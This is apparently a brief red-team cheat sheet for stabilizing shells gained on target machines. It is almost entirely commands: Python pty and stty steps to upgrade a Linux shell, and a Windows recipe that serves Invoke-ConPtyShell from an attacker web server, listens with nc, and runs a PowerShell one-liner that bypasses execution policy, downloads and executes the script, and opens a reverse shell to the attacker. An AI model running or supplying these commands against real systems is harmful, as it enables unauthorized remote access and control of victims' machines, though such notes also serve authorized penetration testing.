Stabilizing shell
#initial-access
#shell
#red
Linux full TTY
which python
which python3
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z # Keyboard shortcut
stty raw -echo; fg
stty -a #In a new terminal window
stty rows <ROWS> columns <COLUMNS>
Windows interactive shell (nishang)
sudo apt install nishang
cp $(locate Invoke-ConPtyShell.ps1) .
python3 -m http.server 80
stty raw -echo; (stty size; cat) | nc -lvnp <PORT>
powershell -ep bypass "IEX (IWR 'http://<IP>/Invoke-ConPtyShell.ps1' -UseBasicParsing); Invoke-ConPtyShell <IP> <PORT>"